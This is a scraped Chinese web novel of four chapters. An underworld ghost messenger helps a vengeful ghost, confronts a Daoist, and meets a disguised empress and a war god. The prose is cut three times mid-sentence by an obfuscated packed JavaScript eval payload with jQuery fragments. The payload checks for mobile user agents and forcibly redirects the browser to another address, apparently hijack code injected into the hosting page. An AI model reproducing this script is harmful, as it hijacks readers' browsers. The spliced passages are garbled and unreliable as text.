《非职业鬼差》 1. 大仇未报其心难安 残月把京城北郊的黑夜照得忽明忽暗,稀疏的树林里时不时有野猫跑过的声音。 或者也不仅仅是野猫。 池千鲤追着这个少年很久了。 少年脚下生风,身形迅捷,跑得飞快,如若不看她脸上身上的血迹,和半是透明的身体,定会叫人以为这是个年轻有为的将门之女。 而眼下,这个明显并非普通人的少年正频频回头,面露惊恐,似乎身后有什么不可名状的东西正追着她赶。 池千鲤也注意到了,于是她屏息凝神,将自己的身影隐在层层叠叠的树影间,从侧面偷窥跟在少年身后的人——或者说是神。 一个带着白光的身形纵身一跃,不过三个呼吸的时间,就挡到了少年的身前,无视她龇牙咧嘴的怒声,揪住后领面无表情地转身要离开。 池千鲤歪了歪头,面上什么表情也未露出。 气势不够,修为不多,身法还有些拙劣——应该是近几年才飞升的神,并且明显不是武神。 而且能管亡魂的……那就是那位了,池千鲤淡淡地想。她蓄意没用仙法,小跑着到这位神面前,露出一副气喘吁吁状:“执明神君。” 被叫做执明神君的女子皱眉回头,上下打量了一眼池千鲤,在看到她腰间令牌的时候停了停,冷冷地反问:“小鬼差?崔判官手下的?” “正是。”池千鲤扶了扶自己的面具。 “噢。”执明神君点点头,却是怒极反笑,“这孤魂野鬼在人间已近半月,若不是我今日来巡,你们地府准备放她在外游荡多长时间?” “神君息怒。” 长时间的静默,池千鲤隔着面具盯着地面,能感觉得到执明正居高临下地盯着自己看,喉间甚至挤出了一丝疑惑的轻哼。 池千鲤自然知道这声轻哼代表什么——执明看不清自己的修为,这种情况要么是根本没有,要么代表一件很恐怖的事——这个鬼差的修为比她高。 两种情况都不太可能,不过相比之下还是前者更靠谱一些,执明下意识地就排除了后者的可能性。 “你是什么时候进地府的?”果然,执明开始盘问她。 池千鲤轻车熟路地扯谎:“一个月前。属下之前犯了点儿小错,被贬到人间去轮回了一百年。” 好在执明并不是个多疑的人,她点了点头:“噢,那修为确实要重新算。” 不过听说犯了些错儿,自然还是要敲打敲打的,新上任的执明板起脸。 “地府的鬼差不会干就给我换一批。”执明象征性地冷哼一声,把女鬼一丢,扬长而去。 那女鬼也倔,一被执明放下,爬起来还要跑,被池千鲤一把拉住。一闪身影,两人都消失在原地。待女鬼回过神来,两人已身处一座破破烂烂的拱桥前。 桥上熬汤的老妪明显是认识池千鲤,慈祥地朝她点点头,继续低下身子去捣鼓她的汤了。 女鬼坐在池千鲤身侧的地面上,还没来得及爬起来。她战战兢兢地盯着池千鲤的侧脸看,却发现一张银质面具把她的全脸遮得严严实实。那银质面具上刻着一张笑脸,与一袭白衣很是相衬。 身边的鬼差有了动作,她别了别头,示意自己跟她走,沈宁谣下意识地站起来,被池千鲤拉住,又是一闪,几个横跳就从摇摇晃晃的拱桥前跃到了不知多少距离外的一座囚塔外。 这囚塔通体漆黑,高约百尺,通天之势,散发着隐隐鬼气。 沈宁谣这下才惊慌起来,一把抓住身边的鬼差:“你这是……要干什么?这里是哪里?” “很不明显吗,沈姑娘?”池千鲤手中不知何时出现了一张宣纸,沈知谣隐隐约约看到,那上面写着她的姓名及生辰八字。看完之后,池千鲤打了个响指,那宣纸便一下凭空消失。沈知谣毕竟刚做鬼不久,这些仙术在她看来尚且匪夷所思,吓得缩了缩脖子。 “沈姑娘,鬼魂是要到地府来报道,画了名字,再转世投胎的。”池千鲤笑吟吟地说,“即使你执念太重,暂且转世不得,也要在地府签了字,暂居于地府。你这样在外面游荡,可不合规矩,自然是要受罚的哦。” 沈宁谣大惊,话还未出口,一股巨力拉着她拖向囚塔内部。她刚要喊放开,却见池千鲤根本一动未动,好端端地站在那里,那巨力竟是凭空从囚塔内而来。 “等等!这位大人!我……”话音未落,沈宁谣发觉周围已是漆黑一片,空无一人,“……有冤情。” 她长叹了一口气,恨恨地捶地,束缚手腕的锁链发出丁零当啷的碰撞之声。 明明……明明她已经摸到那人的府宅了,即使没什么本事,不会高深的仙法,但总能闹他宅院一个鸡犬不宁。 她应该报仇的,她应该为家人报仇,为自己报仇。 ……好不甘心啊,没有机会了。 “我还在哦。”沈宁谣惊讶地抬起头,却见池千鲤玉树临风地站在那里,静静地看着她,“你有什么冤情,请尽管说吧。这也是我的工作之一。” 令人意外的是,沈宁谣却摇了摇头。 “谢谢您,大人。”她艰难地抬起头来,身上血迹斑斑,显得触目惊心,“不过您可以放我出去,让我自己去报仇吗?” “这不合规矩,我也没有这个权限。”池千鲤不假思索地摇摇头,“老实说,我问你的冤情,也并不是想帮你报仇的意思。我只能将它记录下来,上报给崔判官,再由崔判官给你争取投一个好胎的名额。” “我不求下辈子投个好胎!”沈宁谣急切地打断了池千鲤的话,她动作太大了,锁链又发出声音,听得人一阵心惊,“大人,我只要求报完今生仇,下辈子如何如何,并非民女所愿。” 池千鲤无奈地皱皱眉头,这已经不是第一次有鬼向她提出这个要求了。 “为什么?”她终于开口了,“明明未来好就好了呀。我还可以上报,待他死了让崔判官放你的仇人进阿鼻地狱,或者投个猪胎狗胎,只要理由充分,崔大人一定会同意的。” “那不一样!”沈宁谣急了,也顾不上什么大人民女的称呼,“他凭什么寿终正寝?我……我要亲手送他下地狱,我要眼看着他死,我才能安心投胎去。” “你……”池千鲤皱皱眉头,揉着太阳穴深吸一口气,努力放缓声线,“沈姑娘,你确定要这样做?” “如果被人发现,你下一世的机会,可也就没有了,你会永生永世待在锁魂塔里的。或者更严重,直接灰飞烟灭,这可不是一笔划算的买卖。” 池千鲤循循善诱地说着。这确实是真的,鬼魂逗留人间已经严重违反了地府规范,不仅他们这些看守者要遭殃,严重违规者更会判灰飞烟灭、神魂俱散。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412399|200702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “随便。”出乎意料地,沈宁谣满不在乎地说,“我只要他死。” 她停顿了一下,随后铿锵有力地说:“以我灰飞烟灭,换世间诸邪伏诛,这是我的人生信条。” 池千鲤听到这句话,罕见地沉默了一下。片刻她再开口,语气松动了一些:“你是一个很勇敢的人……鬼。” 沈宁谣见池千鲤话音松动了,连忙继续加把火:“大人,你刚刚也查了我的履历对吧?我在人世间这些日子,有做什么欺凌弱小、为祸人间之事吗?” 是的,池千鲤能看得出来,沈宁谣并非什么恶鬼,刚才也核实过了,她游离在人间这半月,一件害人之事都没有做。 她微微怔忪,随后凝视着沈宁谣:“这有意义吗?” “有的。”她很坚定,“有的。” 池千鲤似乎无话可说了,良久,她转移话题道:“你确定不告诉我冤情?你不告诉我,我没办法上报给你求名额,过了这个村就没这个店了。” “多谢您,我想自己报仇。” “……那不可能。” 沈宁谣没有再说话了,她只是目光如炬地盯着池千鲤,那眼神含着太多炙热的期待,让池千鲤下意识地错开目光去。 “求求您,”她说,“我愿再不入轮回。” “……” “你别想那么多,安心待着。”最终池千鲤说。 沈宁谣不甘地望着池千鲤。 “下月十五是中元节,那时大家都会去鬼市,你可以逛逛走走,希望你能解开心结些。” 沈宁谣锁紧眉头。 池千鲤莫名其妙提起这一桩事是什么意思? “那天百鬼夜行,大家都会去赶集,所有鬼差都会去现场维持秩序,包括我,所以……” “……我明白了。”沈宁谣眼睛慢慢地亮起来,“多谢大人指点。” 池千鲤微微一笑,跟聪明人……聪明鬼讲话就是不用点得太透。 “小池大人!”刚一出门,池千鲤就听到远方同僚的喊声,“刚回来?晚上好啊。” 池千鲤点了点头以示回应,慢慢悠悠地穿梭于地府中,看着形形色色的小鬼来来往往,有路过认识她的称一声小池大人,毕竟她成天戴着一副极有辨识度的面具,是全地府最好认的鬼差。 如今已是六月底,筹备鬼市也成了地府上下最为重要之事。各路小鬼们全天下地搜罗奇珍异宝,为的就是这次一年一度的大集市。鬼市子夜时分开市,鸡鸣时分闭市,而这也是全年唯一一次阴阳相通、凡人可入极阴之地的机会。 其实她也没说错,每到这天,老谢会有意无意地放松对地府众鬼的看管,就连一向脾气暴躁的老范也同意。只要不在鬼市上闹出什么乱子,凡人进进出出,小鬼回家探亲,两人都睁一只眼闭一只眼,连她没事干的时候,都喜欢旷工去鬼市逛逛,还是能淘到许多好玩意儿的。 所以她这算给地府新人科普常识,池千鲤淡淡地掰着自己的手指头,靠在路边想,不算什么扰乱秩序,更不是大发善心帮她。而且指不定让她去了,执念消除得更快,投胎也能少些人排队,自己的工作也少些负担。 对,就是这样。 至于沈宁谣去了,是死是活、是凶是吉,关她池千鲤什么事。 她才懒得多管闲事。 2. 大仇未报其心难安(二) 七月十五这天,池千鲤蹲在树上的时候,正在思考自己为什么要莫名其妙一路跟着沈宁谣跑到京城内来。 可能今年的鬼市实在没什么好玩意儿卖,可能昨天跟老范打对子牌输了心情不好,或者太久没来东越京城了,想出来遛遛弯,又或者这姑娘实在是不大聪明,隐匿身形的技巧一点不会,她实在看不下去才跑来掩护。 噢,话说回来,这姑娘虽然一腔热血,但确实是她自当鬼差以来掩护着去报仇的冤鬼里最没本事的一只,要不是她一路跟着,准被发现了好多回了。并且池千鲤左看右看,总觉得沈宁谣今天的背影很是违和,但又说不出个所以然来。 池千鲤望着沈宁谣的背影——她今天总有些心神不宁,觉得这姑娘会出事…… 还是跟着才好。池千鲤这么想着,叹了口气,掩去声息跳下树,跟在沈宁谣身后进了一座府邸。 虽然池千鲤早千年就成了鬼差,见惯了大世面,不过看到府邸内的景象,还是挑了挑眉。 它的外在并不出奇,白墙红瓦,亭台错落,除了雅致些,看上去也没什么稀奇。不过很显然,事实并非如此。 池千鲤双眼一抬,眸中隐隐散发出幽暗白光,藏在地库中的金石明珠便一下子无所遁形。 黄金大约有个几万两吧,其他宝物更是数不胜数。池千鲤漫不经心地粗略估计了一下,收回了灵视眼,继续跟着沈宁谣。 走着走着,池千鲤就发现不对。 东越国这种京官的大宅院里,是有下人值夜的,无非是些丫鬟小厮,这不足为奇。 但每走两步就有一堆神情紧绷的护卫,像在防着什么,这就很奇怪了。 她都撞见五六次护卫了,而且这还不是全部,偏楼尖上、湖心亭中、银杏树顶、拱桥梁下,各有一名暗卫屏息凝神,这绝对不合理。 池千鲤两眼一眯,看向沈宁谣。 这姑娘熟门熟路地七拐八拐,轻巧地翻墙绕廊,走进主院。而且——池千鲤终于知道,那一丝违和感在哪里了。 她居然穿了红衣。 池千鲤轻轻眨了下眼。 自己被骗了。她缓缓冒出这个想法。 灵视眼,仙法和鬼术结合修炼而成的一种法术,不仅能透视物体、无视精神攻击,还能读取内心。她在审讯沈宁谣时,就用了灵视眼读心技能。 但当时,这姑娘想的明明是“才刚摸到仇人府宅,还没来得及报仇”。如今看来明明是闹了好久了,最后打算干一票大的直接索命。 池千鲤都被气笑了,说这人没本事吧,却很是聪明,胆子还大,居然能猜出她有灵视眼,还敢哄着她把自己放出去。从哪里看出来的?她哪里露了破绽? 这可是索命啊。普通小鬼干这种事,是违逆天理的,魂魄要灰飞烟灭的。她到底知不知道这意味着什么?不要命了吗?不要转世了吗? 疯子。池千鲤暗骂一声,一个翻身跳进主院,就要把沈宁谣捉回去好好训诫。 “嗖——” 什么声音? 池千鲤感觉过去一千年发生的事都没有今天一个晚上惊悚,她眼疾手快地一边翻身一边抓住空中那道利剑一般飞过去的小玩意儿,贴到眼前一看,居然是一张符纸。 ……符纸? 不好! 池千鲤一个纵身跃到几十米外的沈宁谣身后,没理沈宁谣震惊的眼神,二话没说一脚将其踹翻在地,几个呼吸间,待沈宁谣再回过神来时,就看见池千鲤两手各夹着三张符纸,一个响指便都化为灰烬。 远处一个身影若隐若现,池千鲤一把拉住沈宁谣飞身而起:“跑!” 沈宁谣终于有空讲话了:“你怎么来了?” 池千鲤感觉额头上的青筋都爆起来了:“我要不来你就完蛋了!” “啊!”池千鲤话音未落,就听到身边的鬼发出一声惨叫,回头一看,她右腿被不知道从哪飞来的黄符烧得冒黑烟,身子一沉就要掉下去。 池千鲤咬牙,拖住沈宁谣从房顶一翻:“你先从后院绕道走,我殿后。” “什么?不行不行不行!”沈宁谣拉住池千鲤,“这事和你无关,你快走,我今天就算死在这儿也好了,我可不能连累你死在这儿!” “我死不了。”池千鲤斜睨她一眼,“我在等审批。” “啊?” “我在等审批流程结束。” 沈宁谣还要问,池千鲤耳中突然出现叮咚一声的提示音,那声音由内而外,仿佛自脑中凭空传来。 “叮咚~您的上司【判官崔珏(忙碌中,有事联系@池千鲤)】有新的留言哦,请尽快查看。” 池千鲤单手一拉,调出通灵板。 【池千鲤(出差中,有事联系@白无常谢必安)发起申请:受到袭击,请求勾魂东越籍男道人许天万】 【判官崔珏(忙碌中,有事联系@池千鲤)已同意】 【判官崔珏(忙碌中,有事联系@池千鲤)留言:小池大过节的这么晚还在工作啊,干完这票给你升到管理层。】 【已抄送四人:牛头、马面、白无常谢必安(休假中,有事联系@黑无常范无救)、黑无常范无救(当值中,有事联系我),四人已读】 【系统提示:法力禁锢已解开,任务时长预计半炷香,请员工池千鲤(出差中,有事联系@白无常谢必安)注意工作进度】 【黑无常范无救(当值中,有事联系我)】:可是老板我们的工作时间本来就是在晚上。 【牛头】:先恭喜小池大人升职了哞。 【马面】:不过小池大人的仙号该起什么呢,嘶嘶! 【白无常谢必安(休假中,有事联系@黑无常范无救)】:我看灰无常就不错。 【牛头】:为什么不能是羊脸哞。 池千鲤反手给工作群设了免打扰,把通灵板拉回,不再看这些叽叽呱呱没什么用的消息。 池千鲤脚步回旋,一个转身挡在那道人和沈宁谣的中间,翻手捏了个诀,神情在瞬息间变得凌厉。下一刻,在沈宁谣还没反应过来的时刻,她几个横跳,一掌打到那道人的丹田,直把他打出几十步外,连一声闷哼都没有就七窍流血而亡。回落下来时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412400|200702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还顺手烧毁了飘在空中的几张符纸,待她轻飘飘地落回地面,一身白衣连衣角都未弄脏。 沈宁谣看得目瞪口呆。 池千鲤又在走那该死的汇报流程的时候,沈宁谣慢慢蹭到她身边,磨磨唧唧地开口:“……呃,大师。” 池千鲤嘴角一抽:“池千鲤。” “池大师,”沈宁谣眼睛亮晶晶的,“你好厉害噢!你那一招教教我行不行?” 池千鲤满意地看了一眼“恭喜您升为五大管理层之一,今后不用再走审批流程啦!”的系统消息,拉回通灵板,终于正眼看着沈宁谣:“你又不在地府打工咯,喝完孟婆汤转世你就都忘了。” 她轻快地跳了几下,蹦到屋顶,皱眉看着沈宁谣:“本官还没说你呢,居然敢欺上瞒下,偷偷跑出来索人命,你好大的胆子!” 沈宁谣心虚地移开目光。 “哼。”池千鲤轻哼一声,向沈宁谣伸出手,“走吧,今儿不成了,上面都知道我来工作,指不定会有人来视察,撞见就完蛋了,先回去吧。” “你这件事我来帮你弄,我在外走动方便一些。” 鬼使神差地,池千鲤望着沈宁谣失落的目光,补了这么一句话。 真是要了命了,若是不帮她把这事儿了结了,估计怎么着都不会消停,天天叫着要出去报仇,惊动崔大人可就不好了。 沈宁谣惊讶地抬头瞧了一眼池千鲤,良久,还是有些不甘地撇了撇嘴:“好吧,多谢池大师。” “是池大人。” “好的池大师。” “……” 小疯丫头。池千鲤叹了口气。 沈宁谣似乎觉得自己经过这么一遭,是和池千鲤熟了,一直绕着池千鲤蹭来蹭去,问东问西,唧唧呱呱地说自己生前的有趣事儿,不时还好奇地摸摸池千鲤的面具,甚是烦人。 池千鲤很没有耐心,但还是一一回复了,毕竟对方只是个十五六岁的小姑娘,太凶对小朋友不好。 已经走到北郊的银杏林了,池千鲤突然一声叹息,还没等沈宁谣问,就冲身后幽幽道:“后面两个打算跟到什么时候?” 什么东西? 后面有人? 沈宁谣一下子神情紧绷起来了,一个转身学着刚刚看到池千鲤的样子摆出一副备战状。池千鲤瞥了她一眼,好心地没有告诉她她学得很蹩脚。 “还不打算出来?”池千鲤头都没回,“我不希望说第三遍。” 还是寂静,片刻后,身后的灌木丛传来沙沙声,一高一矮两个身影走了出来。沈宁谣警惕地望着二人。 “……哈哈。”矮的那个华衣女子打着哈哈,“这位……呃……这位姑娘,我们可没有跟踪您,我们只是……只是住在北郊的村民,这不天太晚了,急着回家,就抄小路走了,哈哈。” 较高一些的黑衣女子点头如捣蒜。 沈宁谣凑到池千鲤耳边:“她俩的话能信吗?” 池千鲤眯起眼睛看着矮个儿身上代表帝皇龙气的金光,和高个儿周身代表天庭仙君的白光,眨了眨眼:“或许能?” 3. 鬼节夜嬉笑与君言 金鳞现在很慌,特别慌。 前一阵子,那大理寺卿简直跟得了失心疯似的,上衙的时候神经兮兮地大叫,老说有鬼。 金鳞实在不耐烦了,挥挥手让他滚回家歇两天,顺便指了个据说很有名驱鬼很厉害的道人去他府上蹲点。 今天折子都批完了,她就跟与自己一同长大的裴将军说,哎,我们去大理寺卿那糟老头子府上看看鬼吧? 裴明镜不同意,说那又不是看猫看狗,谁上赶着去见鬼啊。 不过最后还是被生拉硬拽着去了,谁都没带下属,就俩人一起去的,用金鳞的话来说,反正明镜武功高强啊,谁还能打死我不成? 这不就遇见个看上去能打死的。 眼见着池千鲤凑上来观察她,金鳞动都不敢动,生怕一个不小心惹了对方生气被打死了,东越皇帝夜探官员府宅被不知名人士打死,说出去其他国要笑掉大牙。 但是金鳞这人也贱兮兮,本来眼看着在大理寺卿府上没被发现,裴明镜都要拎着她趁乱跑了,她突然说要跟过去看看这位侠士住哪里,好好说服指不定能劝进朝来做个栋梁之才。 “……哈哈。”如今金鳞叫苦连天,看着目露警惕的沈宁谣和饶有趣味的池千鲤连道失策。 “原是如此。”池千鲤在面具下的脸挑了挑眉,看了看天色,决定先送沈宁谣回去,自己和这位不知为何在人间游荡的仙君周旋一二。于是金鳞眼看着她对沈宁谣耳语几句,随后一挥手,沈宁谣半透明的身影就消失不见。 金鳞大惊,而裴明镜的脸色一直很难看,原因无他,因为她发现自己看不清这人的修为。 “哈哈哈,对啊,既然天色都这么晚了,那我们先回去了,姑娘您鬼节快乐啊哈哈哈哈哈。”原本伶牙俐齿的金鳞干巴巴地笑了两声,转身就溜。 裴明镜暗叫一声不好,赶忙跟了上去。池千鲤静静立于原地,没有说话,亦没有动。不多时,看着又从另一边走回来的金鳞和裴明镜六目相对。 “……?”金鳞不可思议地看着池千鲤,尽管因为池千鲤戴面具,她根本看不到池千鲤的眼睛,“姑娘您哈哈哈哈这玩笑开得有点大了吧哈哈哈……” 她说着说着声音越来越弱:“快放我们出去吧……” 池千鲤摊摊手:“这位姑娘,不是我的问题,是你遇到鬼打墙了。” “……哈哈哈哈哈怎么可能别开玩笑了哈哈哈哈。” “陛……老金,这事儿是真的。”裴明镜瞑目,“在鬼节说了鬼字,就是会遇见鬼打墙。” 这事儿连裴明镜也一点办法没有,只有鬼界那帮子人能解决。她倒是能通灵喊人来,但……裴明镜侧目,犹疑地看了一眼金鳞。 陛下她……不知道自己早已飞升。出于私心,她也不想让陛下知道,她们不再是同类。 金鳞:“……咯咯咯咯咯。” 金鳞牙齿打颤:“那咯咯咯咯咯那怎么咯咯咯咯办咯咯咯咯咯。” 正在裴明镜犹豫间,池千鲤耸耸肩膀:“等到天亮,或者求我带你们两个出去。” 裴明镜:“……” 金鳞:“……呜呜呜呜呜。” 裴明镜默默在地府人员中排查可疑白衣女子,但她基本上是放弃了,地府那帮子人她实在不熟,除了崔判官和阎王爷这些有资格参加天庭会议的,其他的谁记得呀。 “走吧。”池千鲤主动走到前面。 金鳞吱都不敢吱一声,跟着赶紧走,裴明镜回神过来,紧随其后。 “二位姑娘是何方人士?姓甚名谁?”池千鲤一说话,金鳞就一个哆嗦。 “……哈哈,我们,我就是京城人,老裴是江南人,哈哈。”金鳞一边觑着池千鲤的神色一边回答。 “……名字,名字,呃。” “名字?”池千鲤微笑反问。 完蛋了啊。 她不能说真名啊,这可是微服私访,要是说了真名透露什么风声,传出去说皇帝大半夜跟踪平民女子,她脸还要不要了? 得编个假名!快想啊!快点啊呜呜呜呜呜! 池千鲤偏过头,语气似笑非笑:“名字?” 金鳞福至心灵,眼珠一转:“我叫金二丫!” 裴明镜差点没喷出来,池千鲤嘴角也是一抽。 若她没记错,当今东越国的皇帝,应该是名唤金鳞的,这是有史以来第一位女帝,十年前继位,今年二十四,她嗑瓜子的时候听老谢老范唠嗑讲的。 这个什么老裴,看年纪和修为约摸就是十年前新飞升的那位监兵神君裴明镜,天赋异禀,是现天庭第一武神,她有印象的,只是不知道逗留在人间做甚。 她顺势询问:“那这位裴姑娘呢?” “她叫裴三宝!” 裴明镜:“……” 有没有体面一点的遮掩方式? 偏偏金鳞还很是得意地点了点头,似乎对自己的起名水平颇为满意,顺嘴问道:“姑娘你呢,你叫什么名字?” 池千鲤镇定自若地回:“噢,我叫池大妮。” 裴明镜:“……” 金鳞:“……池姑娘这名字真别致。” 池千鲤礼貌回答:“金姑娘和裴姑娘也不差。” “池姑娘是做什么行当的?您刚刚用的是什么戏法么?您可真厉害!”这一打开话匣子,这位陛下就放轻松了许多,叽里呱啦开始没话找话地乱问。 “我是探案的哦,平时就住在京郊这儿。”池千鲤早已准备好了答案,笑眯眯地回答,“金姑娘和裴姑娘要是有什么需要帮助的,尽管可以来这里找我。” “至于戏法,”池千鲤侧目看向金裴二人,故作玄虚地留白,“秘密哦。” 裴明镜急得直扯金鳞,示意她别再和这个奇奇怪怪的池姑娘攀谈了,但金鳞置若罔闻,自来熟的劲儿上来了,追着池千鲤说话。 池千鲤歪歪头,也礼尚往来:“那金姑娘和裴姑娘是做什么行当的呢?看两位姑娘衣着谈吐,家中非富即贵吧。” 金鳞这才意识到不好,支支吾吾不知道回答什么。裴明镜恨铁不成钢地叹了口气,主动上前接下话头道:“我是学武的,金小姐家中做些生意,父亲走后传给了她。” 池千鲤微微一笑,附和道:“女帝治理得好,自她登基以来男女皆可上学堂、赴科举、分田地、任家主了。” “对吧!”金鳞这就来劲了,“你也这么觉得吧!要我说陛下真是英明神武……哎哟!” 裴明镜气得踩了金鳞一脚,示意她别露马脚。 什么人啊,对着一个不知道是仙是鬼的东西都能聊得起来,到底是怎么当上皇帝的?! 哦,好像她当上皇帝也有自己一份功劳。 后面两个人眼神打架推推搡搡,池千鲤无奈地摇摇头,转过身来示意:“两位姑娘,这就出去了。” “哎?”金鳞一愣,抬眼一看,她们居然确实走出了北郊树林,眼前便是城门,有三两侍卫在城楼上值守。 “真的哎!我们真的出来了!”金鳞激动地扯了扯裴明镜,拉着她硬是一起给池千鲤行了礼,“多谢池姑娘!改日若是有什么需要帮忙的疑案,我们定来寻池姑娘帮忙!后会有期!” 池千鲤笑眯眯地轻声絮语:“后会无期。” 性格可爱的一个皇帝,池千鲤如此评价,祝你长命百岁,万世流芳,不过更深的交集还是免了。 金鳞没有听清池千鲤这句话,只兴奋地和池千鲤交谈,而裴明镜只是盯着池千鲤。 为什么她还是看不清这女子的修为?为什么? 这女子的修为高到如此境界?她裴明镜可是天庭第一武神,怎么可能?地府怎么可能有她看不清修为的人?这人到底是谁? 裴明镜眼神暗了暗,什么时候她得回天庭查一查地府这么一号人。不过不急,她听到池千鲤最后一句话,倒是松了一口气——起码她没有想伤害金鳞的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412401|200702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意思。 池千鲤察觉到了裴明镜的目光,微微偏头看过来。明明戴着面具看不清脸庞,可裴明镜就是觉得,这人在冲她笑——游刃有余的,又带着玩味纵容的笑。 她心下一紧。 金鳞终于和池千鲤唠完了,意犹未尽地退了两步:“那池姑娘怎么回去?我派车送你?” 池千鲤笑笑:“不用哦。” 话音未落,池千鲤一个闪身就消失了。 金鳞目瞪口呆地站在原地,裴明镜黑着一张脸。 池千鲤浮在空中,看着这一幕,揉了揉眉心。 她总觉得金鳞和裴明镜面对她的态度有些不对。 抛开裴明镜不提,金鳞,这个人族的唯物主义者,这是第一次面对鬼魂妖怪这类物种的态度吗? 除了短暂的惊讶和害怕,根本没有多余的情绪。而这种惊惧似乎更倾向于发现池千鲤的强大,而不是针对她法术本身的不可理解。 她以前接触过这类东西?是裴明镜告诉了她? 不像。 池千鲤是个很善于观察细节的人,金鳞在遭遇鬼打墙时,第一反应不是求助裴明镜,而是看她,这已经能说明问题了。 而裴明镜那一刹那的犹豫与这个细节正好能对上。 池千鲤烦躁地摇摇头,心想反正与这位皇帝再也见不到,便不再过多纠结,开道传送门回到了地府。沈宁谣早已跑回塔里,用池千鲤教的通灵术报了平安,一路上没人发现。 如今天快要亮了,鬼市也接近尾声,池千鲤百无聊赖地逛了一圈,没什么好东西,都被人拍走了,即使早有预料,还是不免感到可惜,毕竟一年也就这么一回。 ……算啦,等明年吧。今天有更紧要的事情要做。 “哎哟。”范无救挑挑眉看着通灵影像,“稀客呀,找我做什么来了?” “老范,”池千鲤不跟他客气,直奔主题,“今天是你当值,崔大人的名册可在你那里?帮我查个人。” 范无救人也爽快:“谁?” “东越籍,男,现正三品大理寺卿,名讳未知,查快点,重点查他的罪行,整理好让底下人带给我,我急用。” “行。”范无救熟练地抽出东越籍那本册子,“不会太慢,一个时辰之后我自己送你那屋吧,刚好我跟兄长换班了。” “多谢。”池千鲤也不寒暄,事情交代完就挂断了影像。 范无救做事效率极高,没到一个时辰,池千鲤就听见了敲门声,谢过他之后,便开始伏案仔细核验这些记录在案的罪行。不得不说,这大理寺卿真是作恶多端,大半都是接受贿赂之类的,倒是和她所见府宅相呼应,说查也不好查,且顶多判个流放。 有一小半,是他手下的产业出了人命。大理寺卿程少歌很聪明,他把这些人命都伪装成意外,这其中的界限,还真不好划分,一个没查清,又没了着落,最多是让他赔点钱给家属。 可她必须得找到一个突破口。 池千鲤答应过沈宁谣的,这件事……要帮她。 她又无奈地摇摇头,忍不住嫌弃自己真是多管闲事。 最后一次吧,这次过后……就再也不干这种吃力不讨好的事情了,干什么不好,非得做这些。以前因为这种事吃的苦还不够多吗? 不过这次,她已经答应过沈宁谣了,她自认为虽然冷心冷情,但不想言而无信。 最终,一个半时辰过后,她翻完了所有的卷轴,目光锁定在其中用红墨水重点圈出来的一条。 一所善堂。 卷轴资料罪行一栏里记录得很简略,只说大理寺卿在自己所创办的善堂中,伪造一场走水事故,善堂上下所有孩子全部葬身,但没具体说究竟是怎样伪造,孩子们又究竟是如何死亡的。那么多的孩童,肯定会留下痕迹,这条相比其他,探查起来,不难,且后果足够严重。 善堂的遗址就在东越京城的南大街,池千鲤打算明天就着手去查。 4. 百婴含煞厉鬼惊魂 池千鲤站起身,打算出去散散心。今天遇到这么些一团乱麻的事,总是感觉闷得慌,让人想起很多年前的陈年旧事,想找个人倾诉倾诉,却又觉得谁也靠不住。 刚打开门,她愣了一下,范无救居然站在门外。 “老范?”池千鲤疑惑道,“你来做什么来了?不是刚刚才来过一回?来了怎么也不敲门?” 范无救板着张脸,一脸不乐意:“我哥喊我来给你送东西。” “老谢给我送东西?”池千鲤有些纳闷,“送什么东西?前天的汇总名录有什么不对的不成?” 范无救白了池千鲤一眼,把一个做工精巧的小木盒子往她怀里一扔:“不是名录,是这个。” 池千鲤一头雾水地拉开盒子,却见一枚玉佩静静躺于盒子中央,那玉佩莹润精巧,做工精致,隐隐闪光,显是隐合了一些高级护身咒在内,是一枚平安符。 “这可是好东西,代我谢谢老谢。”池千鲤将玉佩放在掌心,细细端详片刻,忍不住赞叹,却还是莫名其妙,“他无缘无故送我这个干什么?” 范无救的脸色活像吃了老鼠:“你忘了?今天七月十五,是你生辰啊。” 她生辰? 池千鲤愣了愣,才恍然,好像真的是。在地府的时日不分昼夜,值班上工,十年一日,她就记得七月十五是一年一度的鬼市了,哪里还记得自己生辰,故而每年都忘,每年都是好友们送了礼来才记起。更何况这些好友们也大多是同僚,不怎么记日子,送礼也是有一年没一年,这就更不记得了,就老谢这家伙年年都送。 眼前的范无救明显也是才想起来今天是同僚生辰,把浑身上下的口袋都摸了个遍,本来就黑的脸色越来越黑,最后好歹才从袖袋里摸出副牌扔给池千鲤当生辰礼。 “谢了。”池千鲤接住牌,也不甚在意,笑眯眯地回应,“他怎么让你来?” “他不知道从哪打听出来,东越最近时兴男子给心仪的女子送玉佩。”范无救眼一翻,絮絮叨叨地说起来,“他不是暗恋你嘛,今天在鬼市看了好半天,比来比去看中了这一枚,自己把护身咒术融在里面想送给你,结果临来又不好意思了,硬要喊我代他送。” 